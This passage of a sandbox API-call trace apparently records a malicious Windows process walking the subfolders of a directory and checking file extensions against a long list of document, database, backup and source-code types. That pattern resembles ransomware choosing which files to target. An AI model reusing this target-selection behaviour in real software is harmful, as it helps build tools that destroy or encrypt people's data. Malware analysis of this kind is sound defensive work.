FindNextFileW (in: hFindFile=0x6a9918, lpFindFileData=0x32afcf8 | out: lpFindFileData=0x32afcf8) returned 1 [0040.993] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x3c50940 [0040.993] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\*", lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 0x4280380 [0041.078] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0041.087] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0041.087] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4291060 [0041.087] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0x4280680 [0041.116] FindNextFileW (in: hFindFile=0x4280680, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.117] FindNextFileW (in: hFindFile=0x4280680, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.117] FindNextFileW (in: hFindFile=0x4280680, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.117] FindNextFileW (in: hFindFile=0x4280680, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.118] FindNextFileW (in: hFindFile=0x4280680, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0 [0041.119] FindClose (in: hFindFile=0x4280680 | out: hFindFile=0x4280680) returned 1 [0041.119] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0041.119] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0041.119] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4291060 [0041.119] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0x4280700 [0041.122] FindNextFileW (in: hFindFile=0x4280700, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.122] FindNextFileW (in: hFindFile=0x4280700, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.122] FindNextFileW (in: hFindFile=0x4280700, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.123] FindNextFileW (in: hFindFile=0x4280700, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.123] FindNextFileW (in: hFindFile=0x4280700, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0 [0041.124] FindClose (in: hFindFile=0x4280700 | out: hFindFile=0x4280700) returned 1 [0041.124] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0041.124] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0041.124] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4291060 [0041.124] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0x4280200 [0041.125] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.125] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.125] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.125] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.125] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0 [0041.126] FindClose (in: hFindFile=0x4280200 | out: hFindFile=0x4280200) returned 1 [0041.126] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0041.126] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0041.126] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4291060 [0041.126] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0x42805c0 [0041.127] FindNextFileW (in: hFindFile=0x42805c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.127] FindNextFileW (in: hFindFile=0x42805c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.128] FindNextFileW (in: hFindFile=0x42805c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.128] FindNextFileW (in: hFindFile=0x42805c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.128] FindNextFileW (in: hFindFile=0x42805c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0 [0041.129] FindClose (in: hFindFile=0x42805c0 | out: hFindFile=0x42805c0) returned 1 [0041.129] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0041.129] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0041.129] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4291060 [0041.129] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0x4280180 [0041.130] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.130] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.130] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.130] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.130] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0 [0041.131] FindClose (in: hFindFile=0x4280180 | out: hFindFile=0x4280180) returned 1 [0041.131] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0041.131] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0041.131] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4291060 [0041.131] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0x4280180 [0041.132] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.132] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.132] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.132] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.132] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0 [0041.134] FindClose (in: hFindFile=0x4280180 | out: hFindFile=0x4280180) returned 1 [0041.134] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0041.134] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0041.134] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4291060 [0041.134] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0x4280100 [0041.135] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.135] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.135] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.135] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.135] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0 [0041.136] FindClose (in: hFindFile=0x4280100 | out: hFindFile=0x4280100) returned 1 [0041.136] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0041.136] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0041.136] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4291060 [0041.136] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0x42803c0 [0041.137] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.137] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.137] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.137] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.137] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0 [0041.138] FindClose (in: hFindFile=0x42803c0 | out: hFindFile=0x42803c0) returned 1 [0041.138] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0041.138] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0041.138] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4291060 [0041.138] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0x4280100 [0041.139] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.139] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.139] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.139] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.139] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0 [0041.140] FindClose (in: hFindFile=0x4280100 | out: hFindFile=0x4280100) returned 1 [0041.140] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0041.140] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0041.140] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4291060 [0041.140] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0x42803c0 [0041.141] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.141] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.141] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.141] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.142] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0 [0041.144] FindClose (in: hFindFile=0x42803c0 | out: hFindFile=0x42803c0) returned 1 [0041.144] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0041.144] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0041.144] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4291060 [0041.144] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0x4280680 [0041.144] FindNextFileW (in: hFindFile=0x4280680, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.144] FindNextFileW (in: hFindFile=0x4280680, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.144] FindNextFileW (in: hFindFile=0x4280680, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.144] FindNextFileW (in: hFindFile=0x4280680, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.145] FindNextFileW (in: hFindFile=0x4280680, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0 [0041.145] FindClose (in: hFindFile=0x4280680 | out: hFindFile=0x4280680) returned 1 [0041.145] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0041.145] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0041.145] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4291060 [0041.145] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0x4280480 [0041.146] FindNextFileW (in: hFindFile=0x4280480, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.146] FindNextFileW (in: hFindFile=0x4280480, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.146] FindNextFileW (in: hFindFile=0x4280480, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.147] FindNextFileW (in: hFindFile=0x4280480, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.147] FindNextFileW (in: hFindFile=0x4280480, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0 [0041.148] FindClose (in: hFindFile=0x4280480 | out: hFindFile=0x4280480) returned 1 [0041.148] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0041.148] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0041.148] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4291060 [0041.148] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0x42807c0 [0041.149] FindNextFileW (in: hFindFile=0x42807c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.149] FindNextFileW (in: hFindFile=0x42807c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.149] FindNextFileW (in: hFindFile=0x42807c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.149] FindNextFileW (in: hFindFile=0x42807c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.149] FindNextFileW (in: hFindFile=0x42807c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0 [0041.166] FindClose (in: hFindFile=0x42807c0 | out: hFindFile=0x42807c0) returned 1 [0041.166] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0041.167] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0041.167] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4291060 [0041.167] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0x4280580 [0041.167] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.167] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.167] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.167] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.167] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0 [0041.167] FindClose (in: hFindFile=0x4280580 | out: hFindFile=0x4280580) returned 1 [0041.168] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0041.168] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0041.168] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4291060 [0041.168] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0x4280100 [0041.168] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.168] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.168] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.168] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.168] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0 [0041.168] FindClose (in: hFindFile=0x4280100 | out: hFindFile=0x4280100) returned 1 [0041.168] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0041.168] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0041.168] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044") returned 26 [0041.169] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\588bce7c90097ed212\\1044") returned 1 [0041.169] lstrlenW (lpString="1044") returned 4 [0041.169] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="1044") returned 1 [0041.169] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4291060 [0041.169] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044") returned 26 [0041.169] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0x42803c0 [0041.169] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.169] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.170] lstrlenW (lpString="eula.rtf") returned 8 [0041.170] lstrlenW (lpString=".1cd") returned 4 [0041.170] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0041.170] lstrlenW (lpString=".3ds") returned 4 [0041.170] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1 [0041.170] lstrlenW (lpString=".3fr") returned 4 [0041.170] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1 [0041.170] lstrlenW (lpString=".3g2") returned 4 [0041.170] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1 [0041.170] lstrlenW (lpString=".3gp") returned 4 [0041.170] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1 [0041.170] lstrlenW (lpString=".7z") returned 3 [0041.170] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0041.170] lstrlenW (lpString=".accda") returned 6 [0041.170] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1 [0041.170] lstrlenW (lpString=".accdb") returned 6 [0041.170] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1 [0041.170] lstrlenW (lpString=".accdc") returned 6 [0041.170] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1 [0041.170] lstrlenW (lpString=".accde") returned 6 [0041.170] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1 [0041.170] lstrlenW (lpString=".accdt") returned 6 [0041.170] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1 [0041.170] lstrlenW (lpString=".accdw") returned 6 [0041.170] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1 [0041.170] lstrlenW (lpString=".adb") returned 4 [0041.170] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1 [0041.170] lstrlenW (lpString=".adp") returned 4 [0041.170] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1 [0041.170] lstrlenW (lpString=".ai") returned 3 [0041.171] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1 [0041.171] lstrlenW (lpString=".ai3") returned 4 [0041.171] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1 [0041.171] lstrlenW (lpString=".ai4") returned 4 [0041.171] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1 [0041.171] lstrlenW (lpString=".ai5") returned 4 [0041.171] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1 [0041.171] lstrlenW (lpString=".ai6") returned 4 [0041.171] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1 [0041.171] lstrlenW (lpString=".ai7") returned 4 [0041.171] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1 [0041.171] lstrlenW (lpString=".ai8") returned 4 [0041.171] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1 [0041.171] lstrlenW (lpString=".anim") returned 5 [0041.171] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1 [0041.171] lstrlenW (lpString=".arw") returned 4 [0041.171] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1 [0041.171] lstrlenW (lpString=".as") returned 3 [0041.171] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1 [0041.171] lstrlenW (lpString=".asa") returned 4 [0041.171] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1 [0041.171] lstrlenW (lpString=".asc") returned 4 [0041.171] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1 [0041.171] lstrlenW (lpString=".ascx") returned 5 [0041.171] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1 [0041.171] lstrlenW (lpString=".asm") returned 4 [0041.171] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1 [0041.171] lstrlenW (lpString=".asmx") returned 5 [0041.171] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1 [0041.171] lstrlenW (lpString=".asp") returned 4 [0041.171] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1 [0041.171] lstrlenW (lpString=".aspx") returned 5 [0041.171] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1 [0041.171] lstrlenW (lpString=".asr") returned 4 [0041.172] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1 [0041.172] lstrlenW (lpString=".asx") returned 4 [0041.172] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1 [0041.172] lstrlenW (lpString=".avi") returned 4 [0041.172] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1 [0041.172] lstrlenW (lpString=".avs") returned 4 [0041.172] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1 [0041.172] lstrlenW (lpString=".backup") returned 7 [0041.172] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1 [0041.172] lstrlenW (lpString=".bak") returned 4 [0041.172] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1 [0041.172] lstrlenW (lpString=".bay") returned 4 [0041.172] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1 [0041.172] lstrlenW (lpString=".bd") returned 3 [0041.172] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1 [0041.172] lstrlenW (lpString=".bin") returned 4 [0041.172] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1 [0041.172] lstrlenW (lpString=".bmp") returned 4 [0041.172] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1 [0041.172] lstrlenW (lpString=".bz2") returned 4 [0041.172] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0041.172] lstrlenW (lpString=".c") returned 2 [0041.172] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1 [0041.172] lstrlenW (lpString=".cdr") returned 4 [0041.172] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1 [0041.172] lstrlenW (lpString=".cer") returned 4 [0041.172] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1 [0041.173] lstrlenW (lpString=".cf") returned 3 [0041.173] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1 [0041.173] lstrlenW (lpString=".cfc") returned 4 [0041.173] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1 [0041.173] lstrlenW (lpString=".cfm") returned 4 [0041.173] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1 [0041.173] lstrlenW (lpString=".cfml") returned 5 [0041.173] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1 [0041.173] lstrlenW (lpString=".cfu") returned 4 [0041.173] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1 [0041.173] lstrlenW (lpString=".chm") returned 4 [0041.173] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1 [0041.173] lstrlenW (lpString=".cin") returned 4 [0041.173] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1 [0041.173] lstrlenW (lpString=".class") returned 6 [0041.173] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1 [0041.173] lstrlenW (lpString=".clx") returned 4 [0041.173] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1 [0041.173] lstrlenW (lpString=".config") returned 7 [0041.173] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1 [0041.173] lstrlenW (lpString=".cpp") returned 4 [0041.173] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1 [0041.173] lstrlenW (lpString=".cr2") returned 4 [0041.173] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1 [0041.173] lstrlenW (lpString=".crt") returned 4 [0041.173] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1 [0041.173] lstrlenW (lpString=".crw") returned 4 [0041.173] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1 [0041.173] lstrlenW (lpString=".cs") returned 3 [0041.174] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1 [0041.174] lstrlenW (lpString=".css") returned 4 [0041.174] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1 [0041.174] lstrlenW (lpString=".csv") returned 4 [0041.174] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1 [0041.174] lstrlenW (lpString=".cub") returned 4 [0041.174] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1 [0041.174] lstrlenW (lpString=".dae") returned 4 [0041.174] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1 [0041.174] lstrlenW (lpString=".dat") returned 4 [0041.174] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1 [0041.174] lstrlenW (lpString=".db") returned 3 [0041.174] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1 [0041.174] lstrlenW (lpString=".dbf") returned 4 [0041.174] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0041.174] lstrlenW (lpString=".dbx") returned 4 [0041.174] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1 [0041.174] lstrlenW (lpString=".dc3") returned 4 [0041.174] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1 [0041.174] lstrlenW (lpString=".dcm") returned 4 [0041.174] lstrcmpiW (lpString1=".dcm", 